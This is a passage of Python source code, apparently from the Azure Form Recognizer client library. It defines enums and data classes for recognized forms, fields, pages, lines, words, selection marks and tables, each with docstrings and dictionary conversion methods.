value.type == \"integer\":\n return value.value_integer\n if value.type == \"date\":\n return value.value_date\n if value.type == \"phoneNumber\":\n return value.value_phone_number\n if value.type == \"time\":\n return value.value_time\n if value.type == \"signature\":\n return value.value_signature\n if value.type == \"array\":\n return (\n [DocumentField._from_generated(value) for value in value.value_array]\n if value.value_array\n else []\n )\n if value.type == \"currency\":\n return CurrencyValue._from_generated(value.value_currency)\n if value.type == \"object\":\n return (\n {\n key: DocumentField._from_generated(value)\n for key, value in value.value_object.items()\n }\n if value.value_object\n else {}\n )\n if value.type == \"selectionMark\":\n return value.value_selection_mark\n if value.type == \"countryRegion\":\n return value.value_country_region\n return None\n\nclass DocumentBuildMode(str, Enum):\n \"\"\"The mode used when building custom models.\n\n For more information, see https://aka.ms/azsdk/formrecognizer/buildmode.\n \"\"\"\n\n NEURAL = \"neural\"\n TEMPLATE = \"template\"\n\n\nclass FieldValueType(str, Enum):\n \"\"\"Semantic data type of the field value.\n\n .. versionadded:: v2.1\n The *selectionMark* and *countryRegion* values\n \"\"\"\n\n STRING = \"string\"\n DATE = \"date\"\n TIME = \"time\"\n PHONE_NUMBER = \"phoneNumber\"\n FLOAT = \"float\"\n INTEGER = \"integer\"\n LIST = \"list\"\n DICTIONARY = \"dictionary\"\n SELECTION_MARK = \"selectionMark\"\n COUNTRY_REGION = \"countryRegion\"\n\n\nclass LengthUnit(str, Enum):\n \"\"\"The unit used by the width, height and bounding box properties.\n For images, the unit is \"pixel\". For PDF, the unit is \"inch\".\n \"\"\"\n\n PIXEL = \"pixel\"\n INCH = \"inch\"\n\n\nclass TrainingStatus(str, Enum):\n \"\"\"Status of the training operation.\"\"\"\n\n SUCCEEDED = \"succeeded\"\n PARTIALLY_SUCCEEDED = \"partiallySucceeded\"\n FAILED = \"failed\"\n\n\nclass CustomFormModelStatus(str, Enum):\n \"\"\"Status indicating the model's readiness for use.\"\"\"\n\n CREATING = \"creating\"\n READY = \"ready\"\n INVALID = \"invalid\"\n\n\nclass FormContentType(str, Enum):\n \"\"\"Content type for upload.\n\n .. versionadded:: v2.1\n Support for image/bmp\n \"\"\"\n\n APPLICATION_PDF = \"application/pdf\"\n IMAGE_JPEG = \"image/jpeg\"\n IMAGE_PNG = \"image/png\"\n IMAGE_TIFF = \"image/tiff\"\n IMAGE_BMP = \"image/bmp\"\n\n\nclass Point(namedtuple(\"Point\", \"x y\")):\n \"\"\"The x, y coordinate of a point on a bounding box.\n\n :ivar float x: x-coordinate\n :ivar float y: y-coordinate\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n __slots__ = ()\n\n def __new__(cls, x, y):\n return super(Point, cls).__new__(cls, x, y)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of Point.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"x\": self.x, \"y\": self.y}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> Point\n \"\"\"Converts a dict in the shape of a Point to the model itself.\n\n :param dict data: A dictionary in the shape of Point.\n :return: Point\n :rtype: Point\n \"\"\"\n return cls(x=data.get(\"x\", None), y=data.get(\"y\", None))\n\n\nclass FormPageRange(namedtuple(\"FormPageRange\", \"first_page_number last_page_number\")):\n \"\"\"The 1-based page range of the form.\n\n :ivar int first_page_number: The first page number of the form.\n :ivar int last_page_number: The last page number of the form.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n __slots__ = ()\n\n def __new__(cls, first_page_number, last_page_number):\n return super(FormPageRange, cls).__new__(\n cls, first_page_number, last_page_number\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormPageRange.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"first_page_number\": self.first_page_number,\n \"last_page_number\": self.last_page_number,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormPageRange\n \"\"\"Converts a dict in the shape of a FormPageRange to the model itself.\n\n :param dict data: A dictionary in the shape of FormPageRange.\n :return: FormPageRange\n :rtype: FormPageRange\n \"\"\"\n return cls(\n first_page_number=data.get(\"first_page_number\", None),\n last_page_number=data.get(\"last_page_number\", None),\n )\n\n\nclass FormElement(object):\n \"\"\"Base type which includes properties for a form element.\n\n :ivar str text: The text content of the element.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind:\n The kind of form element. Possible kinds are \"word\", \"line\", or \"selectionMark\" which\n correspond to a :class:`~azure.ai.formrecognizer.FormWord` :class:`~azure.ai.formrecognizer.FormLine`,\n or :class:`~azure.ai.formrecognizer.FormSelectionMark`, respectively.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.page_number = kwargs.get(\"page_number\", None)\n self.text = kwargs.get(\"text\", None)\n self.kind = kwargs.get(\"kind\", None)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormElement\n \"\"\"Converts a dict in the shape of a FormElement to the model itself.\n\n :param dict data: A dictionary in the shape of FormElement.\n :return: FormElement\n :rtype: FormElement\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n kind=data.get(\"kind\", None),\n bounding_box=[Point.from_dict(f) for f in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n )\n\n\nclass RecognizedForm(object):\n \"\"\"Represents a form that has been recognized by a trained or prebuilt model.\n The `fields` property contains the form fields that were extracted from the\n form. Tables, text lines/words, and selection marks are extracted per page\n and found in the `pages` property.\n\n :ivar str form_type:\n The type of form the model identified the submitted form to be.\n :ivar str form_type_confidence:\n Confidence of the type of form the model identified the submitted form to be.\n :ivar str model_id:\n Model identifier of model used to analyze form if not using a prebuilt\n model.\n :ivar fields:\n A dictionary of the fields found on the form. The fields dictionary\n keys are the `name` of the field. For models trained with labels,\n this is the training-time label of the field. For models trained\n without labels, a unique name is generated for each field.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.FormField]\n :ivar ~azure.ai.formrecognizer.FormPageRange page_range:\n The first and last page number of the input form.\n :ivar list[~azure.ai.formrecognizer.FormPage] pages:\n A list of pages recognized from the input document. Contains lines,\n words, selection marks, tables and page metadata.\n\n .. versionadded:: v2.1\n The *form_type_confidence* and *model_id* properties, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.fields = kwargs.get(\"fields\", None)\n self.form_type = kwargs.get(\"form_type\", None)\n self.page_range = kwargs.get(\"page_range\", None)\n self.pages = kwargs.get(\"pages\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n self.form_type_confidence = kwargs.get(\"form_type_confidence\", None)\n\n def __repr__(self):\n return (\n \"RecognizedForm(form_type={}, fields={}, page_range={}, pages={}, form_type_confidence={}, \"\n \"model_id={})\".format(\n self.form_type,\n repr(self.fields),\n repr(self.page_range),\n repr(self.pages),\n self.form_type_confidence,\n self.model_id,\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of RecognizedForm.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"form_type\": self.form_type,\n \"pages\": [v.to_dict() for v in self.pages] if self.pages else [],\n \"model_id\": self.model_id,\n \"form_type_confidence\": self.form_type_confidence,\n \"page_range\": self.page_range.to_dict() if self.page_range else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> RecognizedForm\n \"\"\"Converts a dict in the shape of a RecognizedForm to the model itself.\n\n :param dict data: A dictionary in the shape of RecognizedForm.\n :return: RecognizedForm\n :rtype: RecognizedForm\n \"\"\"\n return cls(\n fields={k: FormField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n form_type=data.get(\"form_type\", None),\n pages=[FormPage.from_dict(v) for v in data.get(\"pages\")] # type: ignore\n if len(data.get(\"pages\", [])) > 0\n else [],\n model_id=data.get(\"model_id\", None),\n form_type_confidence=data.get(\"form_type_confidence\", None),\n page_range=FormPageRange.from_dict(data.get(\"page_range\")) # type: ignore\n if data.get(\"page_range\")\n else None,\n )\n\n\nclass FormField(object):\n \"\"\"Represents a field recognized in an input form.\n\n :ivar str value_type: The type of `value` found on FormField. Described in\n :class:`~azure.ai.formrecognizer.FieldValueType`, possible types include: 'string',\n 'date', 'time', 'phoneNumber', 'float', 'integer', 'dictionary', 'list', 'selectionMark',\n or 'countryRegion'.\n :ivar ~azure.ai.formrecognizer.FieldData label_data:\n Contains the text, bounding box, and field elements for the field label.\n Note that this is not returned for forms analyzed by models trained with labels.\n :ivar ~azure.ai.formrecognizer.FieldData value_data:\n Contains the text, bounding box, and field elements for the field value.\n :ivar str name: The unique name of the field or the training-time label if\n analyzed from a custom model that was trained with labels.\n :ivar value:\n The value for the recognized field. Its semantic data type is described by `value_type`.\n If the value is extracted from the form, but cannot be normalized to its type,\n then access the `value_data.text` property for a textual representation of the value.\n :vartype value: str, int, float, :class:`~datetime.date`, :class:`~datetime.time`,\n dict[str, :class:`~azure.ai.formrecognizer.FormField`], or list[:class:`~azure.ai.formrecognizer.FormField`]\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.value_type = kwargs.get(\"value_type\", None)\n self.label_data = kwargs.get(\"label_data\", None)\n self.value_data = kwargs.get(\"value_data\", None)\n self.name = kwargs.get(\"name\", None)\n self.value = kwargs.get(\"value\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, field, value, read_result):\n return cls(\n value_type=adjust_value_type(value.type) if value else None,\n label_data=None, # not returned with receipt/supervised\n value_data=FieldData._from_generated(value, read_result),\n value=get_field_value(field, value, read_result),\n name=field,\n confidence=adjust_confidence(value.confidence) if value else None,\n )\n\n @classmethod\n def _from_generated_unlabeled(cls, field, idx, page, read_result):\n return cls(\n value_type=\"string\", # unlabeled only returns string\n label_data=FieldData._from_generated_unlabeled(\n field.key, page, read_result\n ),\n value_data=FieldData._from_generated_unlabeled(\n field.value, page, read_result\n ),\n value=field.value.text,\n name=\"field-\" + str(idx),\n confidence=adjust_confidence(field.confidence),\n )\n\n def __repr__(self):\n return \"FormField(value_type={}, label_data={}, value_data={}, name={}, value={}, confidence={})\".format(\n self.value_type,\n repr(self.label_data),\n repr(self.value_data),\n self.name,\n repr(self.value),\n self.confidence,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n value = self.value\n if isinstance(self.value, dict):\n value = {k: v.to_dict() for k, v in self.value.items()}\n elif isinstance(self.value, list):\n value = [v.to_dict() for v in self.value]\n return {\n \"value_type\": self.value_type,\n \"name\": self.name,\n \"value\": value,\n \"confidence\": self.confidence,\n \"label_data\": self.label_data.to_dict() if self.label_data else None,\n \"value_data\": self.value_data.to_dict() if self.value_data else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormField\n \"\"\"Converts a dict in the shape of a FormField to the model itself.\n\n :param dict data: A dictionary in the shape of FormField.\n :return: FormField\n :rtype: FormField\n \"\"\"\n value = data.get(\"value\", None)\n if isinstance(data.get(\"value\"), dict):\n value = {k: FormField.from_dict(v) for k, v in data.get(\"value\").items()} # type: ignore\n elif isinstance(data.get(\"value\"), list):\n value = [FormField.from_dict(v) for v in data.get(\"value\")] # type: ignore\n\n return cls(\n value_type=data.get(\"value_type\", None),\n name=data.get(\"name\", None),\n value=value,\n confidence=data.get(\"confidence\", None),\n label_data=FieldData.from_dict(data.get(\"label_data\")) # type: ignore\n if data.get(\"label_data\")\n else None,\n value_data=FieldData.from_dict(data.get(\"value_data\")) # type: ignore\n if data.get(\"value_data\")\n else None,\n )\n\n\nclass FieldData(object):\n \"\"\"Contains the data for the form field. This includes the text,\n location of the text on the form, and a collection of the\n elements that make up the text.\n\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str text: The string representation of the field or value.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar field_elements:\n When `include_field_elements` is set to true, a list of\n elements constituting this field or value is returned. The list\n constitutes of elements such as lines, words, and selection marks.\n :vartype field_elements: list[Union[~azure.ai.formrecognizer.FormElement, ~azure.ai.formrecognizer.FormWord,\n ~azure.ai.formrecognizer.FormLine, ~azure.ai.formrecognizer.FormSelectionMark]]\n\n .. versionadded:: v2.1\n *FormSelectionMark* is added to the types returned in the list of field_elements, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.text = kwargs.get(\"text\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.field_elements = kwargs.get(\"field_elements\", None)\n\n @classmethod\n def _from_generated(cls, field, read_result):\n if field is None or all(\n field_data is None\n for field_data in [field.page, field.text, field.bounding_box]\n ):\n return None\n return cls(\n page_number=field.page,\n text=field.text,\n bounding_box=get_bounding_box(field),\n field_elements=[\n resolve_element(element, read_result) for element in field.elements\n ]\n if field.elements\n else None,\n )\n\n @classmethod\n def _from_generated_unlabeled(cls, field, page, read_result):\n return cls(\n page_number=page,\n text=field.text,\n bounding_box=get_bounding_box(field),\n field_elements=[\n resolve_element(element, read_result) for element in field.elements\n ]\n if field.elements\n else None,\n )\n\n def __repr__(self):\n return \"FieldData(page_number={}, text={}, bounding_box={}, field_elements={})\".format(\n self.page_number, self.text, self.bounding_box, repr(self.field_elements)\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FieldData.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"page_number\": self.page_number,\n \"field_elements\": [f.to_dict() for f in self.field_elements]\n if self.field_elements\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FieldData\n \"\"\"Converts a dict in the shape of a FieldData to the model itself.\n\n :param dict data: A dictionary in the shape of FieldData.\n :return: FieldData\n :rtype: FieldData\n \"\"\"\n field_elements = []\n for v in data.get(\"field_elements\"): # type: ignore\n if v.get(\"kind\") == \"word\":\n field_elements.append(FormWord.from_dict(v))\n elif v.get(\"kind\") == \"line\":\n field_elements.append(FormLine.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"selectionMark\":\n field_elements.append(FormSelectionMark.from_dict(v)) # type: ignore\n else:\n field_elements.append(FormElement.from_dict(v)) # type: ignore\n\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(f) for f in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n field_elements=field_elements,\n )\n\n\nclass FormPage(object):\n \"\"\"Represents a page recognized from the input document. Contains lines,\n words, selection marks, tables and page metadata.\n\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar float text_angle:\n The general orientation of the text in clockwise direction, measured in\n degrees between (-180, 180].\n :ivar float width:\n The width of the image/PDF in pixels/inches, respectively.\n :ivar float height:\n The height of the image/PDF in pixels/inches, respectively.\n :ivar str unit:\n The :class:`~azure.ai.formrecognizer.LengthUnit` used by the width,\n height, and bounding box properties. For images, the unit is \"pixel\".\n For PDF, the unit is \"inch\".\n :ivar list[~azure.ai.formrecognizer.FormTable] tables:\n A list of extracted tables contained in a page.\n :ivar list[~azure.ai.formrecognizer.FormLine] lines:\n When `include_field_elements` is set to true, a list of recognized text lines is returned.\n For calls to recognize content, this list is always populated. The maximum number of lines\n returned is 300 per page. The lines are sorted top to bottom, left to right, although in\n certain cases proximity is treated with higher priority. As the sorting order depends on\n the detected text, it may change across images and OCR version updates. Thus, business\n logic should be built upon the actual line location instead of order. The reading order\n of lines can be specified by the `reading_order` keyword argument (Note: `reading_order`\n only supported in `begin_recognize_content` and `begin_recognize_content_from_url`).\n :ivar selection_marks: List of selection marks extracted from the page.\n :vartype selection_marks: list[~azure.ai.formrecognizer.FormSelectionMark]\n\n .. versionadded:: v2.1\n *selection_marks* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.text_angle = kwargs.get(\"text_angle\", None)\n self.width = kwargs.get(\"width\", None)\n self.height = kwargs.get(\"height\", None)\n self.unit = kwargs.get(\"unit\", None)\n self.tables = kwargs.get(\"tables\", None)\n self.lines = kwargs.get(\"lines\", None)\n self.selection_marks = kwargs.get(\"selection_marks\", None)\n\n def __repr__(self):\n return (\n \"FormPage(page_number={}, text_angle={}, width={}, height={}, unit={}, tables={}, lines={},\"\n \"selection_marks={})\".format(\n self.page_number,\n self.text_angle,\n self.width,\n self.height,\n self.unit,\n repr(self.tables),\n repr(self.lines),\n repr(self.selection_marks),\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormPage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"text_angle\": self.text_angle,\n \"width\": self.width,\n \"height\": self.height,\n \"unit\": self.unit,\n \"tables\": [table.to_dict() for table in self.tables] if self.tables else [],\n \"lines\": [line.to_dict() for line in self.lines] if self.lines else [],\n \"selection_marks\": [mark.to_dict() for mark in self.selection_marks]\n if self.selection_marks\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormPage\n \"\"\"Converts a dict in the shape of a FormPage to the model itself.\n\n :param dict data: A dictionary in the shape of FormPage.\n :return: FormPage\n :rtype: FormPage\n \"\"\"\n return cls(\n text_angle=data.get(\"text_angle\", None),\n width=data.get(\"width\", None),\n height=data.get(\"height\", None),\n unit=data.get(\"unit\", None),\n page_number=data.get(\"page_number\", None),\n tables=[FormTable.from_dict(v) for v in data.get(\"tables\")] # type: ignore\n if len(data.get(\"tables\", [])) > 0\n else [],\n lines=[FormLine.from_dict(v) for v in data.get(\"lines\")] # type: ignore\n if len(data.get(\"lines\", [])) > 0\n else [],\n selection_marks=[\n FormSelectionMark.from_dict(v) for v in data.get(\"selection_marks\") # type: ignore\n ]\n if len(data.get(\"selection_marks\", [])) > 0\n else [],\n )\n\n\nclass FormLine(FormElement):\n \"\"\"An object representing an extracted line of text.\n\n :ivar str text: The text content of the line.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar list[~azure.ai.formrecognizer.FormWord] words:\n A list of the words that make up the line.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormLine, this is \"line\".\n :ivar appearance: An object representing the appearance of the line.\n :vartype appearance: ~azure.ai.formrecognizer.Appearance\n\n .. versionadded:: v2.1\n *appearance* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormLine, self).__init__(kind=\"line\", **kwargs)\n self.words = kwargs.get(\"words\", None)\n self.appearance = kwargs.get(\"appearance\", None)\n\n @classmethod\n def _from_generated(cls, line, page):\n line_appearance = (\n TextAppearance._from_generated(line.appearance)\n if hasattr(line, \"appearance\")\n else None\n )\n return cls(\n text=line.text,\n bounding_box=get_bounding_box(line),\n page_number=page,\n words=[FormWord._from_generated(word, page) for word in line.words]\n if line.words\n else None,\n appearance=line_appearance,\n )\n\n def __repr__(self):\n return \"FormLine(text={}, bounding_box={}, words={}, page_number={}, kind={}, appearance={})\".format(\n self.text,\n self.bounding_box,\n repr(self.words),\n self.page_number,\n self.kind,\n self.appearance,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormLine.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"words\": [f.to_dict() for f in self.words] if self.words else [],\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n \"appearance\": self.appearance.to_dict() if self.appearance else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormLine\n \"\"\"Converts a dict in the shape of a FormLine to the model itself.\n\n :param dict data: A dictionary in the shape of FormLine.\n :return: FormLine\n :rtype: FormLine\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n words=[FormWord.from_dict(v) for v in data.get(\"words\")] # type: ignore\n if len(data.get(\"words\", [])) > 0\n else [],\n appearance=TextAppearance.from_dict(data.get(\"appearance\")) # type: ignore\n if data.get(\"appearance\")\n else None,\n )\n\n\nclass FormWord(FormElement):\n \"\"\"Represents a word recognized from the input document.\n\n :ivar str text: The text content of the word.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormWord, this is \"word\".\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormWord, self).__init__(kind=\"word\", **kwargs)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, word, page):\n return cls(\n text=word.text,\n bounding_box=get_bounding_box(word),\n confidence=adjust_confidence(word.confidence),\n page_number=page,\n )\n\n def __repr__(self):\n return \"FormWord(text={}, bounding_box={}, confidence={}, page_number={}, kind={})\".format(\n self.text, self.bounding_box, self.confidence, self.page_number, self.kind\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormWord.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"confidence\": self.confidence,\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormWord\n \"\"\"Converts a dict in the shape of a FormWord to the model itself.\n\n :param dict data: A dictionary in the shape of FormWord.\n :return: FormWord\n :rtype: FormWord\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass FormSelectionMark(FormElement):\n \"\"\"Information about the extracted selection mark.\n\n :ivar str text: The text content - not returned for FormSelectionMark.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar str state: State of the selection mark. Possible values include: \"selected\",\n \"unselected\".\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormSelectionMark, this is \"selectionMark\".\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormSelectionMark, self).__init__(kind=\"selectionMark\", **kwargs)\n self.confidence = kwargs[\"confidence\"]\n self.state = kwargs[\"state\"]\n\n @classmethod\n def _from_generated(cls, mark, page):\n return cls(\n confidence=adjust_confidence(mark.confidence),\n state=mark.state,\n bounding_box=get_bounding_box(mark),\n page_number=page,\n )\n\n def __repr__(self):\n return \"FormSelectionMark(text={}, bounding_box={}, confidence={}, page_number={}, state={}, kind={})\".format(\n self.text,\n self.bounding_box,\n self.confidence,\n self.page_number,\n self.state,\n self.kind,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormSelectionMark.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"confidence\": self.confidence,\n \"state\": self.state,\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormSelectionMark\n \"\"\"Converts a dict in the shape of a FormSelectionMark to the model itself.\n\n :param dict data: A dictionary in the shape of FormSelectionMark.\n :return: FormSelectionMark\n :rtype: FormSelectionMark\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n state=data.get(\"state\", None),\n )\n\n\nclass FormTable(object):\n \"\"\"Information about the extracted table contained on a page.\n\n :ivar int page_number:\n The 1-based number of the page in which this table is present.\n :ivar list[~azure.ai.formrecognizer.FormTableCell] cells:\n List of cells contained in the table.\n :ivar int row_count:\n Number of rows in table.\n :ivar int column_count:\n Number of columns in table.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the table. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n\n .. versionadded:: v2.1\n The *bounding_box* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.cells = kwargs.get(\"cells\", None)\n self.row_count = kwargs.get(\"row_count\", None)\n self.column_count = kwargs.get(\"column_count\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n\n def __repr__(self):\n return \"FormTable(page_number={}, cells={}, row_count={}, column_count={}, bounding_box={})\".format(\n self.page_number,\n repr(self.cells),\n self.row_count,\n self.column_count,\n self.bounding_box,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormTable.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"row_count\": self.row_count,\n \"column_count\": self.column_count,\n \"cells\": [cell.to_dict() for cell in self.cells],\n \"bounding_box\": [box.to_dict() for box in self.bounding_box]\n if self.bounding_box\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormTable\n \"\"\"Converts a dict in the shape of a FormTable to the model itself.\n\n :param dict data: A dictionary in the shape of FormTable.\n :return: FormTable\n :rtype: FormTable\n \"\"\"\n return cls(\n row_count=data.get(\"row_count\", None),\n page_number=data.get(\"page_number\", None),\n column_count=data.get(\"column_count\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n cells=[FormTableCell.from_dict(v) for v in data.get(\"cells\")] # type: ignore\n if len(data.get(\"cells\", [])) > 0\n else [],\n )\n\n\nclass FormTableCell(object): # pylint:disable=too-many-instance-attributes\n \"\"\"Represents a cell contained in a table recognized from the input document.\n\n :ivar str text: Text content of the cell.\n :ivar int row_index: Row index of the cell.\n :ivar int column_index: Column index of the cell.\n :ivar int row_span: Number of rows spanned by this cell.\n :ivar int column_span: Number of columns spanned by this cell.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar bool is_header: Whether the current cell is a header cell.\n :ivar bool is_footer: Whether the current cell is a footer cell.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar field_elements:\n When `include_field_elements` is set to true, a list of\n elements constituting this cell is returned. The list\n constitutes of elements such as lines, words, and selection marks.\n For calls to begin_recognize_content(), this list is always populated.\n :vartype field_elements: list[Union[~azure.ai.formrecognizer.FormElement, ~azure.ai.formrecognizer.FormWord,\n ~azure.ai.formrecognizer.FormLine, ~azure.ai.formrecognizer.FormSelectionMark]]\n\n .. versionadded:: v2.1\n *FormSelectionMark* is added to the types returned in the list of field_elements, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.text = kwargs.get(\"text\", None)\n self.row_index = 